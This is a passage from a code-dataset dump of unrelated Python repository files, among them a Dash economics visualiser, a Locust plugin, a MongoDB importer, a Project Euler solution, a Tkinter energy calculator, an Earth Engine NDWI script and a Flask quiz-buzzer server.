100, [])\n\n@app.callback(Output('n-periods', 'children'),\n              [dash.dependencies.Input('time-slider', 'value')])\ndef update_time_slider(t):\n     return '''Number of Time Periods: {}'''.format(t)\n\n@app.callback(Output('delta-d', 'children'),\n              [dash.dependencies.Input('delta-d-slider', 'value')])\ndef update_time_slider(t):\n     return '''delta d: {}'''.format(t)\n\n@app.callback(Output('delta-s', 'children'),\n              [dash.dependencies.Input('delta-s-slider', 'value')])\ndef update_time_slider(t):\n     return '''delta s: {}'''.format(t)\n\n@app.callback(Output('delta-n', 'children'),\n              [dash.dependencies.Input('delta-n-slider', 'value')])\ndef update_time_slider(t):\n     return '''delta n: {}'''.format(t)\n\n@app.callback(Output('delta-g', 'children'),\n              [dash.dependencies.Input('delta-g-slider', 'value')])\ndef update_time_slider(t):\n     return '''delta g: {}'''.format(t)\n\n@app.callback(Output('depreciation', 'children'),\n              [dash.dependencies.Input('d-slider', 'value')])\ndef update_time_slider(t):\n     return '''Depreciation (d): {}'''.format(t)\n\n@app.callback(Output('savings', 'children'),\n              [dash.dependencies.Input('s-slider', 'value')])\ndef update_time_slider(t):\n     return '''Savings (s): {}'''.format(t)\n\n@app.callback(Output('labor-growth', 'children'),\n              [dash.dependencies.Input('n-slider', 'value')])\ndef update_time_slider(t):\n     return '''Labor Growth (n): {}'''.format(t)\n\n@app.callback(Output('base-efficiency', 'children'),\n              [dash.dependencies.Input('e-slider', 'value')])\ndef update_time_slider(t):\n     return '''Base Efficiency (E): {}'''.format(t)\n\n@app.callback(Output('alpha', 'children'),\n              [dash.dependencies.Input('alpha-slider', 'value')])\ndef update_time_slider(t):\n     return '''alpha: {}'''.format(t)\n\n@app.callback(Output('efficiency-growth', 'children'),\n              [dash.dependencies.Input('g-slider', 'value')])\ndef update_time_slider(t):\n     return '''Efficiency Growth (g): {}'''.format(t)\n\n@app.callback(Output('current-graph-time', 'children'),\n              [dash.dependencies.Input('graph-time-slider', 'value')])\ndef update_time_slider(t):\n     return '''Current Time: {}'''.format(t)\n\n\n\ndef parse_requests(s):\n    try:\n        if \"format\" in s:\n            return []\n        s = s.strip()\n        ret = []\n        s = s.split(\",\")\n        for c in s:\n            if c:\n                c = c.strip().split(\" \")\n                ret.append(Change_Request(int(c[0]), \"\".join(c[1:-1]), float(c[-1])))\n        return ret\n    except:\n        return []\n\n@app.callback(Output('data-value', 'children'), [dash.dependencies.Input('alpha-slider', 'value'),\n     dash.dependencies.Input('n-slider', 'value'),\n     dash.dependencies.Input('g-slider', 'value'),\n     dash.dependencies.Input('s-slider', 'value'),\n     dash.dependencies.Input('e-slider', 'value'),\n     dash.dependencies.Input('d-slider', 'value'),\n     dash.dependencies.Input('delta-n-slider', 'value'),\n     dash.dependencies.Input('delta-g-slider', 'value'),\n     dash.dependencies.Input('delta-s-slider', 'value'),\n     dash.dependencies.Input('delta-d-slider', 'value'),\n     dash.dependencies.Input('time-slider', 'value'),\n     Input('request-change', 'value')])\ndef gen_data(alpha, n, g, s, e, d, delta_n, delta_g, delta_s, delta_d, time, changes):\n     p = Properties(alpha, e, g, n, s, d, delta_g, delta_n, delta_d, delta_s)\n     df, _ = produce_data(p, time, parse_requests(changes))\n     return df.to_json(orient='split')\n\n\n@app.callback(Output('change-request-list', 'children'), [\n     Input('request-change', 'value')])\ndef update_requests(changes):\n    changes_requested = parse_requests(changes)\n\n    if len(changes_requested) == 0:\n        return 'Example: 10 n 0.06, 20 g 0.1'\n    formatted_requests = []\n    for index, e in enumerate(changes_requested):\n        formatted_requests.append(html.Div(children=\"{}: {}\".format(index, str(e))))\n\n    return formatted_requests\n\n@app.callback(Output('graph-time-slider', 'max'),\n              [dash.dependencies.Input('time-slider', 'value')])\ndef update_graph_slider(t):\n     return t\n\n@app.callback(\n    dash.dependencies.Output('main-display', 'figure'),\n    [Input('data-value', 'children'),\n     Input('graph-time-slider', 'value')]\n)\ndef update_figure(data, curr_time):\n    df = pd.read_json(data, orient='split')\n    fig = tools.make_subplots(rows=2, cols=3,\n                              specs=[[{\"colspan\": 3}, None, None],\n                                 [{}, {}, {}]],\n                              subplot_titles=('Main Production Function', 'g(Y/L) over Time',\n                                              'g(K/L) over Time', 'Y/L over Time')\n                              )\n    for i in range(curr_time):\n        fig.append_trace(go.Scatter(\n            x=df[\"k_over_l\"][i],\n            y=df[\"y_over_l\"][i],\n            mode='lines',\n            opacity=0.5,\n            legendgroup='group1',\n            name=\"t={}, E={:n}\".format(i, int(df[\"metadata\"][i][\"e\"])),\n            showlegend=False,\n            line=dict(width = 1)\n        ), 1, 1)\n    fig.append_trace(go.Scatter(\n        x=pd.concat([pd.Series([0]), df[\"point_k_over_l\"][:curr_time]]),\n        y=pd.concat([pd.Series([0]), df[\"point_y_over_l\"][:curr_time]]),\n        mode='lines+markers',\n        opacity=1,\n        legendgroup='group4',\n        marker={\n            'size': 15,\n            'line': {'width': 0.5, 'color': 'white'}\n        },\n        line=dict(width=4),\n        name=\"Sample Economy at BGE at Time 0\"\n    ), 1, 1)\n    fig.append_trace(go.Scatter(\n        x=pd.concat([pd.Series([0]), df[\"bge_k_over_l\"][:curr_time]]),\n        y=pd.concat([pd.Series([0]), df[\"bge\"][:curr_time]]),\n        mode='lines+markers',\n        opacity=1,\n        legendgroup='group5',\n        marker={\n            'size': 15,\n            'line': {'width': 0.5, 'color': 'white'}\n        },\n        line=dict(width=4),\n        name=\"Current BGE\"\n    ), 1, 1)\n    fig.append_trace(go.Scatter(\n        x=pd.concat([pd.Series([0]), df[\"point_k_over_l\"][:curr_time]]),\n        y=pd.concat([pd.Series([0]), df[\"point_k_over_l\"][:curr_time] * default_df[\"y_over_k\"][:curr_time]]),\n        mode='lines+markers',\n        opacity=1,\n        legendgroup='group2',\n        marker={\n            'size': 15,\n            'line': {'width': 0.5, 'color': 'white'}\n        },\n        line=dict(width=4),\n        name=\"Original BGE\"\n    ), 1, 1)\n    fig.append_trace(go.Scatter(\n            x=df[\"t\"][1:curr_time],\n            y=df[\"change_in_y_over_l\"][1:curr_time],\n            mode='lines',\n            opacity=0.7,\n        legendgroup='group4',\n        name=\"Sample g(Y/L)\"\n        ), 2, 1)\n    fig.append_trace(go.Scatter(\n        x=df[\"t\"][1:curr_time],\n        y=df[\"change_in_bge_y_over_l\"][1:curr_time],\n        mode='lines',\n        opacity=0.7,\n        legendgroup='group5',\n        name=\"BGE g(Y/L)\"\n    ), 2, 1)\n\n    fig.append_trace(go.Scatter(\n        x=df[\"t\"][1:curr_time],\n        y=df[\"change_in_k_over_l\"][1:curr_time],\n        mode='lines',\n        opacity=0.7,\n        legendgroup='group4',\n        name=\"Sample g(K/L)\"\n    ), 2, 2)\n    fig.append_trace(go.Scatter(\n        x=df[\"t\"][1:curr_time],\n        y=df[\"change_in_bge_k_over_l\"][1:curr_time],\n        mode='lines',\n        opacity=0.7,\n        legendgroup='group5',\n        name=\"BGE g(K/L)\"\n    ), 2, 2)\n    fig.append_trace(go.Scatter(\n        x=df[\"t\"][:curr_time],\n        y=df[\"bge\"][:curr_time],\n        mode='lines',\n        opacity=0.7,\n        legendgroup='group5',\n        name=\"BGE Y/L w.r.t T\"\n    ), 2, 3)\n    fig.append_trace(go.Scatter(\n        x=df[\"t\"][:curr_time],\n        y=df[\"point_y_over_l\"][:curr_time],\n        mode='lines',\n        opacity=0.7,\n        legendgroup='group4',\n        name=\"Sample Y/L w.r.t T\"\n    ), 2, 3)\n\n\n    fig['layout'].update(height=900, hovermode='closest',\n                yaxis={\n                             'range': [min(df[\"bge\"][:curr_time].min(), df[\"point_y_over_l\"][:curr_time].min()) * 0.3, max(df[\"bge\"][:curr_time].max(),\n                                                                                                   df[\"point_y_over_l\"][:curr_time].max()) * 1.15]\n                         },\n\n                         xaxis={\n                             'range': [min(df[\"bge_k_over_l\"][:curr_time].min(), df[\"point_k_over_l\"][:curr_time].min()) * 0.3,\n                                       max(df[\"bge_k_over_l\"][:curr_time].max(),\n                                                                                                   df[\n                                                                                                       \"point_k_over_l\"][:curr_time].max()) * 1.15]\n                         },\n\n                         )\n    fig['layout']['xaxis1'].update(title='K/L')\n    fig['layout']['xaxis2'].update(title='t')\n    fig['layout']['xaxis3'].update(title='t')\n    fig['layout']['xaxis4'].update(title='t')\n\n    fig['layout']['yaxis1'].update(title='Y/L')\n    min_x = min(df[\"change_in_bge_y_over_l\"].min(), df[\"change_in_y_over_l\"].min())\n    max_x = max(df[\"change_in_bge_y_over_l\"].max(), df[\"change_in_y_over_l\"].max())\n    pos_clamp = lambda x: x * 1.5 if x > 0 else x * 1.5\n    neg_clamp = lambda x: x * -1.5 if x > 0 else x * -1.5\n    fig['layout']['yaxis2'].update(title='g(Y/L)')\n    min_x = min(df[\"change_in_bge_k_over_l\"].min(), df[\"change_in_k_over_l\"].min())\n    max_x = max(df[\"change_in_bge_k_over_l\"].max(), df[\"change_in_k_over_l\"].max())\n    fig['layout']['yaxis3'].update(title='g(K/L)')\n    fig['layout']['yaxis4'].update(title='Y/L')\n\n    return fig\n\n\n\n\n\nif __name__ == '__main__':\n    # application.config['PROFILE'] = True\n    # application.wsgi_app = ProfilerMiddleware(application.wsgi_app, restrictions=[300])\n    application.run(debug=True, threaded=True)","repo_name":"henryzxu/cobb-douglas","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":13411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72645635849","text":"# -*- coding: utf-8 -*-\n\nimport locust\nfrom flask import jsonify\n\n\ndef add_listener():\n    @locust.events.init.add_listener\n    def on_locust_init(environment, **kw):\n        if environment.web_ui is None:\n            # Don't add route on worker nodes, they do not have a web ui\n            return\n\n        @environment.web_ui.app.route(\"/status\")\n        @environment.web_ui.auth_required_if_enabled\n        def status():\n            runner = environment.runner\n            return jsonify({\n                \"state\": runner.state,\n                \"result\": getattr(runner, 'result', None),\n                \"worker_count\": getattr(runner, 'worker_count', None),  # 'worker_count' does not exist for LocalRunner\n                \"user_count\": runner.user_count,\n            })\n","repo_name":"lhupfeldt/locust-plugin-result","sub_path":"src/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20167877069","text":"import csv\nfrom pprint import pprint\nimport logging\n\nfrom pymongo import MongoClient\n\nimport config\n\nlog = logging.getLogger(__name__)\n\n__author__ = 'Steve'\n\nrequired_fields = {\n    \"arm\": \"arm\",\n    \"Genre\": \"genre\",\n    \"trackID\": \"id\",\n    \"trackName\": \"name\",\n    \"rating\": \"rating\",\n    \"ratingUsers\": \"rating_users\",\n}\n\n\nclass InputProcessor:\n    \"\"\" This class is to get the app ids in csv file \"\"\"\n    app_list_file = config.app_list_file\n\n    def __init__(self):\n        self.client = MongoClient()\n        self.appreco_db = self.client['appReco']\n        self.app_collect = self.appreco_db['app']\n        log.info(\"Reading file: {}\".format(self.app_list_file))\n\n    def write_to_db(self):\n        with open(self.app_list_file, \"r\") as inf:\n            dr = csv.DictReader(inf)\n            self.field_names = [(required_fields[f], f) for f in dr.fieldnames if f in required_fields.keys()]\n            # pprint(self.field_names)\n\n            for row in dr:\n                new_item = {'_id': row['trackID']}\n                for f1, f2 in self.field_names:\n                    new_item[f1] = row[f2]\n                # pprint(new_item)\n                self.app_collect.update({'_id': new_item['_id']}, new_item, upsert=True)\n                # self.app_collect.insert(new_item)\n\n    def get_ids(self):\n        with open(self.app_list_file, \"r\") as inf:\n            dr = csv.DictReader(inf)\n            # Set ids\n            self.ids = [row['trackID'] for row in dr]\n        return self.ids\n\n\nif __name__ == '__main__':\n    processor = InputProcessor()\n    ids = processor.get_ids()\n    processor.write_to_db()\n    pprint(len(ids))\n","repo_name":"vacuumv/AppCat","sub_path":"utils/inputProcessor.py","file_name":"inputProcessor.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43195167463","text":"class Model:\n    \n    def __init__(self, film_name: str, genre: str, year_of_issue: int, duration: int, studio: str, actors: dict):\n        self.film_name = film_name\n        self.genre = genre\n        self.year_of_issue = year_of_issue\n        self.duration = duration\n        self.studio = studio\n        self.first_name = actors.get('first_name')\n        self.last_name = actors.get('last_name')\n        self.role = actors.get('role') \n\n\nclass ModelView(Model):\n    def get(self):\n        return f\"\"\"Название фильма: {self.film_name}, \nЖанр: {self.genre},\nДлительность: {self.duration} мин.,\nНазвание студии: {self.studio},\nАктёр: Имя - {self.first_name},\nФамилия - {self.last_name},\nРоль - {self.role}\"\"\"\n\n\nclass State(ModelView):\n    def set(self, value):\n        self.value = value\n\n\nstate = State()\n\nprint(state.get())\n","repo_name":"LazyRiokey/Step-hm","sub_path":"Python/Lesson_39/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6640418433","text":"ran = range(1001)\nanswer = 0\n\ndef letters_of_numbers(number):\n\tlist_of_words = []\n\tabove_thousand = number\n\tdummy = 0\n\tnumber = list(str(number))\n\tdictionary = {\n\t\t0: \"\",\n\t\t1: \"one\",\n\t\t2: \"two\",\n\t\t3: \"three\",\n\t\t4: \"four\",\n\t\t5: \"five\",\n\t\t6: \"six\",\n\t\t7: \"seven\",\n\t\t8: \"eight\",\n\t\t9: \"nine\",\n\t\t10: \"ten\",\n\t\t11: \"eleven\",\n\t\t12: \"twelve\",\n\t\t13: \"thirteen\",\n\t\t14: \"fourteen\",\n\t\t15: \"fifteen\",\n\t\t16: \"sixteen\",\n\t\t17: \"seventeen\",\n\t\t18: \"eighteen\",\n\t\t19: \"nineteen\",\n\t\t20: \"twenty\",\n\t\t30: \"thirty\",\n\t\t40: \"forty\",\n\t\t50: \"fifty\",\n\t\t60: \"sixty\",\n\t\t70: \"seventy\",\n\t\t80: \"eighty\",\n\t\t90: \"ninety\",\n\t\t100: \"hundred\"\n\t}\n\tfor letter in number:\n\t\twhile len(number) > 0:\n\t\t\tif len(number) == 3:\n\t\t\t\tlist_of_words.extend(list(dictionary[int(number[0])]))\n\t\t\t\tif number[0] != \"0\":\n\t\t\t\t\t list_of_words.extend(list(\"hundred\"))\t\t\t\t\n\t\t\t\tnumber.pop(0)\n\t\t\telif len(number) == 2:\n\t\t\t\tif number[0] == \"1\":\n\t\t\t\t\tdummy = int(str(number[0]+str(number[1])))\n\t\t\t\t\tlist_of_words.extend(list(dictionary[dummy]))\n\t\t\t\t\tnumber.pop(0)\n\t\t\t\t\tnumber.pop(0)\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tnumber[0] = number[0] + \"0\"\n\t\t\t\t\tlist_of_words.extend(list(dictionary[int(number[0])]))\n\t\t\t\t\tnumber.pop(0)\n\t\t\telif len(number) == 1:\n\t\t\t\tlist_of_words.extend(list(dictionary[int(number[0])]))\n\t\t\t\tbreak\n\t\t\telif int(above_thousand) >= 1000:\n\t\t\t\tlist_of_words.extend(list(\"onethousand\"))\n\t\t\t\tnumber.pop(0)\n\t\t\t\tbreak\n\t\tif above_thousand > 100 and above_thousand % 100 != 0:\n\t\t\tlist_of_words.extend(list(\"and\"))\n\treturn len(list_of_words)\n\nfor values in range(1,1001):\n\tanswer += letters_of_numbers(values)\nprint(f\"The answer is \\\"{answer}\\\"\")\n\n#print(letters_of_numbers(121))","repo_name":"lreinirz/MyEuler","sub_path":"In Progress/Q17.py","file_name":"Q17.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5138731401","text":"from tkinter import *\nimport csv\nimport math\nimport enum \nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nmpl.use(\"TkAgg\")\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg #, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\n\n# Create main window\nroot = Tk()\n#root.geometry(\"800x400+0+0\")\nroot.title(\"Energy Consumption Calculator\")\n\n# Create frame for input and calculation\ninputFrame = Frame(root, width=600, height=300)\ninputFrame.grid(row=0, column=0, padx=25)\n\n# Create frame for graph\ngraphFrame = Frame(root)\ngraphFrame.grid(row=0, column=1)\n\n# Inputs\n# Start\nlabel_start = Label(inputFrame, text=\"Starting point (m)\")\nlabel_start.grid(row=0, column=0, sticky=E)\n\nentry_start = Entry(inputFrame)\nentry_start.grid(row=0, column=1)\n\n# Destination\nlabel_dest = Label(inputFrame, text=\"Destination (m)\")\nlabel_dest.grid(row=1, column=0, sticky=E)\n\nentry_dest = Entry(inputFrame)\nentry_dest.grid(row=1, column=1)\n\n# Speed\nlabel_speed = Label(inputFrame, text=\"Speed (km/h)\")\nlabel_speed.grid(row=2, column=0, sticky=E)\n\nentry_speed = Entry(inputFrame)\nentry_speed.grid(row=2, column=1)\n\n# Total distance\nlabel_distance = Label(inputFrame, text=\"Total distance (m)\")\nlabel_distance.grid(row=3, column=0, sticky=E)\n\nentry_distance = Entry(inputFrame)\nentry_distance.grid(row=3, column=1)\n\n# Estimated time\nlabel_time = Label(inputFrame, text=\"Estimated time (h:m:s)\")\nlabel_time.grid(row=4, column=0, sticky=E)\n\nentry_time = Entry(inputFrame)\nentry_time.grid(row=4, column=1)\n\n# Average power consumption\nlabel_power = Label(inputFrame, text=\"Average power consumption (W)\")\nlabel_power.grid(row=5, column=0, sticky=E)\n\nentry_power = Entry(inputFrame)\nentry_power.grid(row=5, column=1)\n\n# Average energy consumption\nlabel_energy = Label(inputFrame, text=\"Total energy consumption (Wh)\")\nlabel_energy.grid(row=6, column=0, sticky=E)\n\nentry_energy = Entry(inputFrame)\nentry_energy.grid(row=6, column=1)\n\ndef onclick(event):\n    print('%s click: button=%d, x=%d, y=%d, xdata=%f, ydata=%f' %\n          ('double' if event.dblclick else 'single', event.button,\n           event.x, event.y, event.xdata, event.ydata))\n    xvalue = int(event.xdata)\n    entry_start.delete(0, END)\n    entry_start.insert(0,str(xvalue))\ndef onrelease(event):\n    print('%s release: button=%d, x=%d, y=%d, xdata=%f, ydata=%f' %\n          ('double' if event.dblclick else 'single', event.button,\n           event.x, event.y, event.xdata, event.ydata))\n    xvalue = int(event.xdata)\n    entry_dest.delete(0, END)\n    entry_dest.insert(0,str(xvalue))\n\ndef Calculate():\n    # Create key values for table\n    speed_dict = { 5:0, 10:1, 15:2, 20:3, 25:4, 30:5, 35:6, 40:7, 45:8, 50:9, 55:10, 60:11, 65:12, 70:13, 75:14, 80:15, 85:16, 90:17, 95:18, 100:19, 105:20, 110:21, 115:22, 120:23, 125:24, 130:25} \n\n    degrees_dict = { -45:0, -40:1, -35:2, -30:3, -25:4, -20:5, -15:6, -10:7, -5:8, 0:9, 5:10, 10:11, 15:12, 20:13, 25:14, 30:15, 35:16, 40:17, 45:18 }\n\n    # Create table power_table[speed][degrees]\n    columns, rows = len(speed_dict), len(degrees_dict)\n    power_table = [[0 for x in range(columns)] for y in range(rows)]\n\n    # Variables\n    line_count = -1\n\n    # Get table values\n    with open('power_table.csv') as csv_table:\n        csv_reader = csv.reader(csv_table, delimiter=';')\n\n        for row in csv_reader:\n            if line_count == -1:\n                line_count += 1\n            else:\n                for i in range(columns+1):\n                    if i > 0:\n                        power_table[line_count][i - 1] = float(row[i])\n                \n                # Increment line count\n                line_count += 1\n\n\n\n    # Get inputs\n    start = int(entry_start.get())      #int(input(\"Type start in meter: \"))\n    stop = int(entry_dest.get())        #int(input(\"Type stop in meter: \"))\n    speed = int(entry_speed.get())      #int(input(\"Type in speed in kmh: \"))\n\n    # Reset variables\n    line_count = 0\n    power_counter = 0\n    power_sum = 0\n    energy_sum = 0\n\n\n\n    # Read file\n    with open('wsc_elevation_solbritt_2015.csv') as csv_file:\n        csv_reader = csv.reader(csv_file, delimiter=';')\n        \n        for row in csv_reader:\n            if line_count == 0:\n                line_count += 1\n            elif line_count == 1:\n                # Convert all items to floats  \n                row = [x.replace(',','.') for x in row]         \n                row = [float(x) for x in row]\n\n                # Get elevation and distance\n                last_elevation = row[0]\n                last_distance = row[1]\n\n                # Increment line count\n                line_count += 1\n            else:\n                \n                if row[2] == '':\n                    continue\n\n                # Convert all items to floats    \n                row = [x.replace(',','.') for x in row]          \n                row = [float(x) for x in row]\n\n                # Get elevation and distance\n                elevation = row[0]\n                distance = row[1]\n\n                if distance > stop:\n                    break\n\n                if distance >= start and distance <= stop:\n\n                    # Get delta values\n                    delta_dist = distance - last_distance\n                    delta_elevation = elevation - last_elevation\n\n                    # Get y angle in degrees\n                    y_angle = math.degrees(math.atan2(delta_elevation, delta_dist))\n\n                    # Get closest speed index\n                    closest_speed = min(speed_dict, key=lambda x:abs(x-speed))\n                    speed_index = speed_dict.get(closest_speed)\n\n                    # Get closest degrees index\n                    closest_degrees = min(degrees_dict, key=lambda x:abs(x-y_angle))\n                    deg_index = degrees_dict.get(closest_degrees)\n\n                    # Get avg power from closest values in power table\n                    power_avg = power_table[deg_index][speed_index]\n\n                    # Get estimated time for delta distance\n                    time = delta_dist/(speed*1000)\n\n                    # Get energy consumption of delta distance\n                    energy_sum += power_avg * time\n\n                    # Get fraction of power for delta distance\n                    #power_sum += (delta_dist/(speed*1000)) * power_avg\n                    power_sum += power_avg\n\n                    # Count number of calculations\n                    power_counter += 1\n\n                    # Assign last values\n                    last_distance = distance\n                    last_elevation = elevation\n\n                    # Increment line count\n                    line_count += 1\n\n        # Get total distance\n        total_dist = stop - start\n        print(\"Total distance: \" + str(total_dist) + \" m\")\n        entry_distance.delete(0, END)\n        entry_distance.insert(0, str(total_dist))\n\n        # Get estimated time\n        time = total_dist/(speed*1000)\n        time_h = int(time)\n        time_m = int(time*60 - time_h*60)\n        time_s = int(time*60*60 - time_h*60*60 - time_m*60)\n        print(\"Estimated time: \" + str(time_h) + \":\" + str(time_m) + \":\" + str(time_s))\n        entry_time.delete(0, END)\n        entry_time.insert(0, str(time_h) + \":\" + str(time_m) + \":\" + str(time_s))\n\n        # Get average power consumption\n        power_avg = power_sum/power_counter\n        print(\"Average power consumption: \" + str(power_avg) + ' W')\n        entry_power.delete(0, END)\n        entry_power.insert(0, str(power_avg))\n\n        # Get energy in watt hours\n        energy = power_avg * time\n        print(\"Total energy consumption: \" + str(energy_sum) + ' Wh')\n        entry_energy.delete(0, END)\n        entry_energy.insert(0, str(energy_sum))\n\ndef Reset():\n    entry_start.delete(0, END)\n    entry_dest.delete(0, END)\n    entry_speed.delete(0, END)\n    entry_distance.delete(0, END)\n    entry_time.delete(0, END)\n    entry_power.delete(0, END)\n    entry_energy.delete(0, END)\ndef CreateFigure():\n    fig = plt.figure()\n    fig.canvas.callbacks.connect('button_press_event', onclick)\n    fig.canvas.callbacks.connect('button_release_event', onrelease)\n    a = fig.add_subplot(111)\n    checkpoint_list = [0,322,588,633,988,1211,1496,1766,1786,2178,2432,2719,3022]\n    checkpoint_list = [x * 1000 for x in checkpoint_list]\n    yvalue = [50,50,50,50,50,50,50,50,50,50,50,50,50]\n\n    for (checkpointname, checkpoint) in zip(checkpoint_name_list,checkpoint_list):\n        a.annotate(str(checkpointname), xy=(checkpoint*1000, 100), xytext=(checkpoint*1000, 200),\n            arrowprops=dict(facecolor='black', shrink=0.05),\n            )\n    a.scatter(checkpoint_list,yvalue,c=np.random.rand(13))\n    a.plot(distance_list, elevation_list)\n    plt.show()\n# Buttons\nbutton_rst = Button(inputFrame, text=\"Open Chart\", command=CreateFigure, bg=\"deepsky blue\", fg=\"white\")\nbutton_rst.grid(row=7, column=0, sticky=W+E, padx=2, pady=1)\n\nbutton_calc = Button(inputFrame, text=\"Calculate\", command=Calculate, bg=\"deepsky blue\", fg=\"white\")\nbutton_calc.grid(row=7, column=1, sticky=W+E, padx=2, pady=1)\n\nbutton_rst = Button(inputFrame, text=\"Reset\", command=Reset, bg=\"red2\", fg=\"white\")\nbutton_rst.grid(row=7, column=2, sticky=W+E, padx=2, pady=1)\n\n\n\n# Draw graph\n# Read file\nline_count = 0\nelevation_list = []\ndistance_list = []\ncheckpoint_name_list = [\"Darwin\",\"Katherine\",\"Daly Waters\",\"Dunmarra\",\"Dunmarra\",\"Barrow Creek\",\"Alice Springs\",\"Kulgera\",\"NT / SA Border\",\"Coober Pedy\",\"Glendambo\",\"Port Augusta\",\"Adelaide\",]\n\nwith open('wsc_elevation_solbritt_2015.csv') as csv_file:\n    csv_reader = csv.reader(csv_file, delimiter=';')\n    \n    for row in csv_reader:\n        if line_count == 0:\n            line_count += 1 \n        else:\n            \n            if row[2] == '':\n                continue\n\n            # Convert all items to floats    \n            row = [x.replace(',','.') for x in row]          \n            row = [float(x) for x in row]\n\n            # Get elevation and distance\n            elevation_list.append(row[0])\n            distance_list.append(row[1])\n\n            # Increment line count\n            line_count += 1\n\nroot.mainloop()","repo_name":"arefashrafi/EnergyCalcPython","sub_path":"power_gui.py","file_name":"power_gui.py","file_ext":"py","file_size_in_byte":10211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7124556562","text":"import ee\nimport ee.mapclient\n\nee.Initialize()\n\ncollection = ee.ImageCollection('USDA/NAIP/DOQQ')\nfromFT = ee.FeatureCollection('ft:1CLldB-ULPyULBT2mxoRNv7enckVF0gCQoD2oH7XP')\npolys = fromFT.geometry()\ncentroid = polys.centroid()\nlng, lat = centroid.getInfo()['coordinates']\n# print(\"lng = {}, lat = {}\".format(lng, lat))\n\n# lng_lat = ee.Geometry.Point(lng, lat)\nnaip = collection.filterBounds(polys)\nnaip_2015 = naip.filterDate('2015-01-01', '2015-12-31')\nppr = naip_2015.mosaic().clip(polys)\n\n# print(naip_2015.size().getInfo())   # count = 120\nvis = {'bands': ['N', 'R', 'G']}\nee.mapclient.centerMap(lng, lat, 10)\n# ee.mapclient.addToMap(naip_2015,vis)\nee.mapclient.addToMap(ppr,vis)\n# ee.mapclient.addToMap(fromFT)\n\nndwi = ppr.normalizedDifference(['G', 'N'])\nndwiViz = {'min': 0, 'max': 1, 'palette': ['00FFFF', '0000FF']}\nndwiMasked = ndwi.updateMask(ndwi.gte(0.05))\nndwi_bin = ndwiMasked.gt(0)\nee.mapclient.addToMap(ndwiMasked, ndwiViz)\n\npatch_size = ndwi_bin.connectedPixelCount(256, True)\n# ee.mapclient.addToMap(patch_size)\n\npatch_id = ndwi_bin.connectedComponents(ee.Kernel.plus(1), 256)\nee.mapclient.addToMap(patch_id)","repo_name":"giswqs/Earth-Engine-Python","sub_path":"NAIP/ndwi.py","file_name":"ndwi.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"25822862135","text":"#!/usr/bin/env python3\nfrom flask import Flask, request, jsonify, Response\nfrom cachetools.func import ttl_cache\nfrom os import path\nfrom queue import Queue\nfrom threading import Thread\nimport click\nimport json\nimport subprocess\n\n\nSERVER_DIR = path.abspath(path.dirname(__file__))\nDEFAULT_HOST = '0.0.0.0'\nDEFAULT_PORT = 8080\nDEFAULT_LANDING_PAGE = path.join(SERVER_DIR, \"../frontend/dist/index.html\")\nDEFAULT_SCOREBOARD_PAGE = path.join(SERVER_DIR,\n    \"../frontend/dist/scoreboard.html\")\nDEFAULT_BUZZ_SOUND = path.join(SERVER_DIR, \"ding.mp3\")\nSCORE_BACKUP = path.join(SERVER_DIR, \"../score.json\")\napp = Flask(__name__)\nbuzz_queue = Queue()\nscores = {}\n\n\n@click.command()\n@click.option('--host', default=DEFAULT_HOST, help='What host to broadcast')\n@click.option('--port', default=DEFAULT_PORT, help='What port to bind to')\n@click.option('--landing-page', 'page',\n    default=DEFAULT_LANDING_PAGE,\n    help='html page to serve up')\n@click.option('--scoreboard-page', 'score',\n    default=DEFAULT_SCOREBOARD_PAGE,\n    help='html file for the scoreboard')\n@click.option('--buzz-sound', 'sound',\n    default=DEFAULT_BUZZ_SOUND,\n    help='audio to play when player buzzes')\ndef run_server(host: str, port: int, page: str, score: str, sound: str) -> None:\n    \"\"\"easy web interface to control gate and garage doors\"\"\"\n    app.config['index'] = page\n    app.config['scoreboard'] = score\n    app.config['sound'] = sound\n    app.run(host=host, port=port)\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index() -> str:\n    \"\"\" return the contents of index.html in the response body \"\"\"\n    with open(app.config.get(\"index\"), 'r') as file:\n        return file.read()\n\n\n@app.route(\"/scoreboard\")\ndef scoreboard() -> str:\n    \"\"\" return the contents of scoreboard.html in the response body \"\"\"\n    with open(app.config.get(\"scoreboard\"), 'r') as file:\n        return file.read()\n\n\n@ttl_cache(ttl=5) # memoize for 5 seconds to prevent spamming\ndef ding() -> str:\n    \"\"\" play a sound when someone buzzes in \"\"\"\n    # sudo apt-get install cvlc\n    cmd = \"cvlc --play-and-exit {sound} 2> /dev/null\".format(\n        sound=app.config.get(\"sound\")\n    )\n    subprocess.Popen(cmd, shell=True) # non-blocking\n\n\n@app.route(\"/buzz\", methods = ['POST'])\ndef buzz() -> str:\n    \"\"\" someone just clicked the buzzer \"\"\"\n    buzz_queue.put(request.args.get('player'))\n    ding()\n    return \"BUZZ!!\"\n\n\n@app.route(\"/score\")\ndef score() -> Response:\n    return jsonify(scores)\n\n\nif __name__ == '__main__':\n    server = Thread(target=run_server, daemon=True)\n    server.start()\n\n    if path.exists(SCORE_BACKUP):\n        with open(SCORE_BACKUP, 'r') as file:\n            scores = json.loads(file.read())\n\n    try:\n        while True:\n            player = buzz_queue.get()\n            if click.confirm(\"did player ({player}) answer correctly?\".format(\n                